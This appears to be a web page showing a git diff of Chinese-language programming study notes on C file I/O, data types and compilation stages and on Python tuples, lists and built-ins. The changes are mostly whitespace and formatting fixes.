|
| static | 存储类指示编译器在程序的生命周期内保持局部变量的存在 |
|
||||||
|extern|定义在其他文件中声明的全局变量或函数|
|
| extern | 定义在其他文件中声明的全局变量或函数 |
|
||||||
|
@ -4,34 +4,33 @@ date: 2024-06-06T23:51:38Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|
||||||
`scanf` 是针对标准输入的格式化语句
|
`scanf` 是针对标准输入的格式化语句
|
||||||
`printf`是针对标准输出的格式化语句
|
`printf` 是针对标准输出的格式化语句
|
||||||
|
|
||||||
`fscanf`是针对所有输入流的格式化语句
|
`fscanf` 是针对所有输入流的格式化语句
|
||||||
`fprintf`是针对所有输出流的格式化语句
|
`fprintf` 是针对所有输出流的格式化语句
|
||||||
|
|
||||||
`sscanf`字符串转为格式化语句
|
`sscanf` 字符串转为格式化语句
|
||||||
`sprintf`格式化语句转为字符串
|
`sprintf` 格式化语句转为字符串
|
||||||
|
|
||||||
`EOF`检查文件是否到尾部
|
`EOF` 检查文件是否到尾部
|
||||||
|
|
||||||
1. 写入文件
|
1. 写入文件
|
||||||
|
|
||||||
```c
|
```c
|
||||||
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
|
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 读取文件
|
2. 读取文件
|
||||||
|
|
||||||
```c
|
```c
|
||||||
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
|
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
|
||||||
```
|
```
|
||||||
|
|
||||||
> ptr -- 这是指向要被写入的元素数组的指针。
|
> ptr -- 这是指向要被写入的元素数组的指针。
|
||||||
> size -- 这是要被写入的每个元素的大小,以字节为单位。
|
> size -- 这是要被写入的每个元素的大小,以字节为单位。
|
||||||
> nmemb -- 这是元素的个数,每个元素的大小为 size 字节。
|
> nmemb -- 这是元素的个数,每个元素的大小为 size 字节。
|
||||||
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输出流。
|
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输出流。
|
||||||
|
|
||||||
3. 打开的文件中定位
|
3. 打开的文件中定位
|
||||||
|
|
||||||
@ -39,13 +38,13 @@ tags: []
|
|||||||
int fseek(FILE *stream, long int offset, int whence)
|
int fseek(FILE *stream, long int offset, int whence)
|
||||||
```
|
```
|
||||||
|
|
||||||
* 参数
|
- 参数
|
||||||
|
|
||||||
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了流。
|
> stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了流。
|
||||||
> offset -- 这是相对 whence 的偏移量,以字节为单位。
|
> offset -- 这是相对 whence 的偏移量,以字节为单位。
|
||||||
> whence -- 这是表示开始添加偏移 offset 的位置。它一般指定为下列常量之一:
|
> whence -- 这是表示开始添加偏移 offset 的位置。它一般指定为下列常量之一:
|
||||||
>
|
|
||||||
* 常量 描述
|
- 常量 描述
|
||||||
|
|
||||||
```c
|
```c
|
||||||
SEEK_SET 文件的开头
|
SEEK_SET 文件的开头
|
||||||
|
@ -6,46 +6,46 @@ tags: []
|
|||||||
|
|
||||||
1. 数组
|
1. 数组
|
||||||
|
|
||||||
```c
|
```c
|
||||||
type arrayName [ arraySize ];
|
type arrayName [ arraySize ];
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 枚举
|
2. 枚举
|
||||||
|
|
||||||
```c
|
```c
|
||||||
enum DAY//枚举类型 标签
|
enum DAY//枚举类型 标签
|
||||||
{
|
{
|
||||||
MON=1, TUE, WED, THU, FRI, SAT, SUN
|
MON=1, TUE, WED, THU, FRI, SAT, SUN
|
||||||
}day;定义名字
|
}day;定义名字
|
||||||
```
|
```
|
||||||
|
|
||||||
3. 结构体
|
3. 结构体
|
||||||
|
|
||||||
```c
|
```c
|
||||||
struct tag {
|
struct tag {
|
||||||
member-list
|
member-list
|
||||||
member-list
|
member-list
|
||||||
member-list
|
member-list
|
||||||
...
|
...
|
||||||
} variable-list ;
|
} variable-list ;
|
||||||
```
|
```
|
||||||
|
|
||||||
|
> **tag** 是结构体标签。
|
||||||
|
>
|
||||||
|
> **member-list** 是标准的变量定义,比如 int i; 或者 float f;,或者其他有效的变量定义。
|
||||||
|
>
|
||||||
|
> **variable-list** 结构变量,定义在结构的末尾,最后一个分号之前,您可以指定一个或多个结构变量。
|
||||||
|
|
||||||
> **tag** 是结构体标签。
|
|
||||||
>
|
|
||||||
> **member-list** 是标准的变量定义,比如 int i; 或者 float f;,或者其他有效的变量定义。
|
|
||||||
>
|
|
||||||
> **variable-list** 结构变量,定义在结构的末尾,最后一个分号之前,您可以指定一个或多个结构变量。
|
|
||||||
>
|
|
||||||
4. 共用体
|
4. 共用体
|
||||||
|
|
||||||
```c
|
```c
|
||||||
union [union tag]
|
union [union tag]
|
||||||
{
|
{
|
||||||
member definition;
|
member definition;
|
||||||
member definition;
|
member definition;
|
||||||
...
|
...
|
||||||
member definition;
|
member definition;
|
||||||
} [one or more union variables];
|
} [one or more union variables];
|
||||||
```
|
```
|
||||||
|
|
||||||
> 与结构体不同所有数据共用一个地址
|
> 与结构体不同所有数据共用一个地址
|
||||||
|
@ -6,17 +6,18 @@ tags: []
|
|||||||
|
|
||||||
1. 预编译/预处理
|
1. 预编译/预处理
|
||||||
|
|
||||||
`-E`
|
`-E`
|
||||||
|
|
||||||
1. 将头文件的内容加入
|
1. 将头文件的内容加入
|
||||||
2. difine定义符号的删除,和内容的替换
|
2. difine 定义符号的删除,和内容的替换
|
||||||
3. 注释的操作
|
3. 注释的操作
|
||||||
|
|
||||||
2. 转换为汇编代码
|
2. 转换为汇编代码
|
||||||
|
|
||||||
`-S`
|
`-S`
|
||||||
|
|
||||||
3. 将汇编代码转化为机器指令
|
3. 将汇编代码转化为机器指令
|
||||||
|
|
||||||
`-c`
|
`-c`
|
||||||
|
|
||||||
|
|
||||||
|
@ -6,43 +6,43 @@ tags: []
|
|||||||
|
|
||||||
1. if
|
1. if
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
if ()
|
if ()
|
||||||
{}
|
{}
|
||||||
else if()
|
else if()
|
||||||
{}
|
{}
|
||||||
else
|
else
|
||||||
{}
|
{}
|
||||||
```
|
```
|
||||||
|
|
||||||
2. 三元运算
|
2. 三元运算
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
条件?true:false
|
条件 ? true : false;
|
||||||
```
|
```
|
||||||
|
|
||||||
3. switch
|
3. switch
|
||||||
|
|
||||||
```javascript
|
```javascript
|
||||||
switch(data){
|
switch (data) {
|
||||||
case value1:
|
case value1:
|
||||||
code1
|
code1;
|
||||||
break
|
break;
|
||||||
case value2:
|
case value2:
|
||||||
code2
|
code2;
|
||||||
break
|
break;
|
||||||
default:
|
default:
|
||||||
coden
|
coden;
|
||||||
break
|
break;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
4. goto
|
4. goto
|
||||||
|
|
||||||
```c
|
```c
|
||||||
跳转标签
|
跳转标签
|
||||||
goto 标签;
|
goto 标签;
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -4,8 +4,7 @@ date: 2024-06-06T23:51:44Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
|
> 又称上下文管理器,在处理文件时,无论是否产生异常,都能保证 with 语句执行完毕后关闭已近打开的文件,这个过程是自动的,无需手动操作.
|
||||||
> 又称上下文管理器,在处理文件时,无论是否产生异常,都能保证with语句执行完毕后关闭已近打开的文件,这个过程是自动的,无需手动操作.
|
|
||||||
|
|
||||||
语法结构
|
语法结构
|
||||||
|
|
||||||
|
@ -6,8 +6,8 @@ tags: []
|
|||||||
|
|
||||||
## 概念
|
## 概念
|
||||||
|
|
||||||
是python中内置的不可变数列
|
是 python 中内置的不可变数列
|
||||||
在python中使用()定义援助,元素与元素之间使用英文的逗号分隔
|
在 python 中使用()定义援助,元素与元素之间使用英文的逗号分隔
|
||||||
元组中只有一个元素的时候,逗号也不能省略
|
元组中只有一个元素的时候,逗号也不能省略
|
||||||
|
|
||||||
## 元组的创建方法
|
## 元组的创建方法
|
||||||
@ -18,7 +18,7 @@ tags: []
|
|||||||
语法结构如下:
|
语法结构如下:
|
||||||
`元组名=(element1,element3,......,elementN)`
|
`元组名=(element1,element3,......,elementN)`
|
||||||
|
|
||||||
## 第二种使用内置函数tuple
|
## 第二种使用内置函数 tuple
|
||||||
|
|
||||||
语法结构如下:
|
语法结构如下:
|
||||||
`元组名=tuple(序列)`
|
`元组名=tuple(序列)`
|
||||||
|
@ -4,9 +4,9 @@ date: 2024-06-06T23:51:47Z
|
|||||||
tags: []
|
tags: []
|
||||||
---
|
---
|
||||||
|
|
||||||
`id()`查看数据地址
|
`id()` 查看数据地址
|
||||||
`len()`长度
|
`len()` 长度
|
||||||
`type()`类型
|
`type()` 类型
|
||||||
`chr(ascll码)`可以输出ascll码对应的
|
`chr(ascll码)` 可以输出 ascll 码对应的
|
||||||
`eval(变量名)`去掉字符串最外侧的引号
|
`eval(变量名)` 去掉字符串最外侧的引号
|
||||||
`pass`占位字符
|
`pass` 占位字符
|
||||||
|
@ -7,8 +7,8 @@ tags: []
|
|||||||
## 概念
|
## 概念
|
||||||
|
|
||||||
是指一系列的按特定顺序排列的元素组成
|
是指一系列的按特定顺序排列的元素组成
|
||||||
是Python中内置的可变元素序列
|
是 Python 中内置的可变元素序列
|
||||||
是python中可以使用[]定义列表,元素和元素直接可以使用英文逗号分隔
|
是 python 中可以使用[]定义列表,元素和元素直接可以使用英文逗号分隔
|
||||||
列表中的元素可以是任意类型
|
列表中的元素可以是任意类型
|
||||||
|
|
||||||
## 基本
|
## 基本
|
||||||
@ -19,30 +19,29 @@ tags: []
|
|||||||
|
|
||||||
> start:切片的开始索引(包括)
|
> start:切片的开始索引(包括)
|
||||||
> end:切片的结束索引(不包括)
|
> end:切片的结束索引(不包括)
|
||||||
> step:步长(默认为1)
|
> step:步长(默认为 1)
|
||||||
|
|
||||||
## 遍历
|
## 遍历
|
||||||
|
|
||||||
```html
|
```html
|
||||||
for i in enumerate(数组):
|
for i in enumerate(数组): print(i)
|
||||||
print(i)
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## 操作
|
## 操作
|
||||||
|
|
||||||
`x in s`:如果x是s的元素,结果是True,否则结果为False
|
`x in s`:如果 x 是 s 的元素,结果是 True,否则结果为 False
|
||||||
`x not in s`:如果x不是s的元素,结果为True,否者为False
|
`x not in s`:如果 x 不是 s 的元素,结果为 True,否者为 False
|
||||||
`len(s)`:序列s的元素的个数
|
`len(s)`:序列 s 的元素的个数
|
||||||
`max(s)`:元素当中的最大值
|
`max(s)`:元素当中的最大值
|
||||||
`min(s)`:元素当中的最小值
|
`min(s)`:元素当中的最小值
|
||||||
`s.index(x)`:序列s中第一次出现元素x的位置
|
`s.index(x)`:序列 s 中第一次出现元素 x 的位置
|
||||||
`s.count(x)`:序列s中出现元素x的的总和
|
`s.count(x)`:序列 s 中出现元素 x 的的总和
|
||||||
|
|
||||||
`lst.append(x)`:在列表lst最后增加一个元素
|
`lst.append(x)`:在列表 lst 最后增加一个元素
|
||||||
`lst.insert(index,x)`:在列表lst中第index位置增加一个元素
|
`lst.insert(index,x)`:在列表 lst 中第 index 位置增加一个元素
|
||||||
`lst.clear`:清除列表lst中的所有元素
|
`lst.clear`:清除列表 lst 中的所有元素
|
||||||
`lst.pop(index)`:将列表lst中第index位置的元素去除,并从列表中将其删除
|
`lst.pop(index)`:将列表 lst 中第 index 位置的元素去除,并从列表中将其删除
|
||||||
`lst.remove(x)`:将列表中出现的第一个元素x删除
|
`lst.remove(x)`:将列表中出现的第一个元素 x 删除
|
||||||
`lst.reverse(x)`:将列表中的元素反转
|
`lst.reverse(x)`:将列表中的元素反转
|
||||||
`lst.copy()`:拷贝列表中的所有元素,生产一个新的列表
|
`lst.copy()`:拷贝列表中的所有元素,生产一个新的列表
|
||||||
|
|
||||||
|
@ -8,7 +8,7 @@ tags: []
|
|||||||
|
|
||||||
`print("")`
|
`print("")`
|
||||||
|
|
||||||
- Python允许使用单引号、双引号、三重引号(单引号或双引号)来表示字符串
|
- Python 允许使用单引号、双引号、三重引号(单引号或双引号)来表示字符串
|
||||||
- `end=''`输出以空格结尾,而不是默认的换行符
|
- `end=''`输出以空格结尾,而不是默认的换行符
|
||||||
- `sep=","`指定了逗号作为分隔符。
|
- `sep=","`指定了逗号作为分隔符。
|
||||||
输入到文件: `print("文字",file=文件名)`
|
输入到文件: `print("文字",file=文件名)`
|
||||||
@ -27,9 +27,7 @@ tags: []
|
|||||||
|
|
||||||
|
|
||||||
```html
|
```html
|
||||||
"""
|
""" 需要注释的代码 """
|
||||||
需要注释的代码
|
|
||||||
"""
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## 导入模块
|
## 导入模块
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user